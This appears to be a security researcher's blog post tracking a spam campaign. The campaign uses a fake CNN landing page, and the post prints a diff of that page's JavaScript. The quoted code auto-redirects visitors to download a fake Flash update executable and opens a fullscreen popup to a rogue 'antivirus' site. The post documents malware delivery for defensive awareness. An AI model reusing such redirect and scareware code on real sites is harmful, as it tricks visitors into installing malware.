Faux-CNN page with new fake antivirus goodness!

This landing page was spammed on August 11; it looks a whole lot like the orginal Faux-CNN landing page spammed from August 4th through the 7th. The main difference is the addition of an "antivirus" popup pointing to http://www.asvoo.org/antivir/ -- I don't give that high marks for probable long life, so I cached it for you. We'll be seeing a changed landing page soon, I predict. Technically, it was replaced on August 12, but the only change was the addition of an iframe; the asvoo.org reference is still there.

As always, the full page is here.

When we actually do a diff between this page and the page from Aug4-7, and throw out all the differences caused by different line breaks, we get this:

38c51
<               window.setTimeout("location.href='adobe_flash.exe'", 3000);
---
>               window.setTimeout("location.href='get_flash_update.exe'", 3000);
41,58d53
<
< var begin_popup_url = 'http://asvoo.org/antivir/';
< function show_begin_popup()
< {
<      if (begin_popup_url && begin_popup_url != '')
<      {
<       var width = window.screen.availWidth;
<       var height = window.screen.availHeight;
<       var left = 0;
<       var top = 0;
<
<       params = 'height='+height+',width='+width+',left='+left+',top='+top+',toolbar=0,status=0,menubar=0,status=0,menubar=0,resizable=0,scrollbars=1';
<
<       pop = window.open(begin_popup_url, '_blank', params);
<       window.focus();
<      }
< }
<
186c186
<         case "iax": document.location.href="adobe_flash.exe"; break;
---
>         case "iax": document.location.href="get_flash_update.exe"; break;
194c194
<               location.href="adobe_flash.exe";
---
>               location.href="get_flash_update.exe";
397c511
< <p><a href="#" onClick="show_begin_popup();window.close();" ><img src="close.png" alt="Close the page" border="0" height="50" width="300"></a></p>
---
>
399c514
< <a href="adobe_flash.exe">
---
> <a href="get_flash_update.exe">

So there are essentially two differences. First, the executable is still adobe_flash.exe, like the obfuscated CNN page served from Aug7-11.

The other addition is an onClick call to pop up a window showing http://asvoo.org/antivir/, which is here.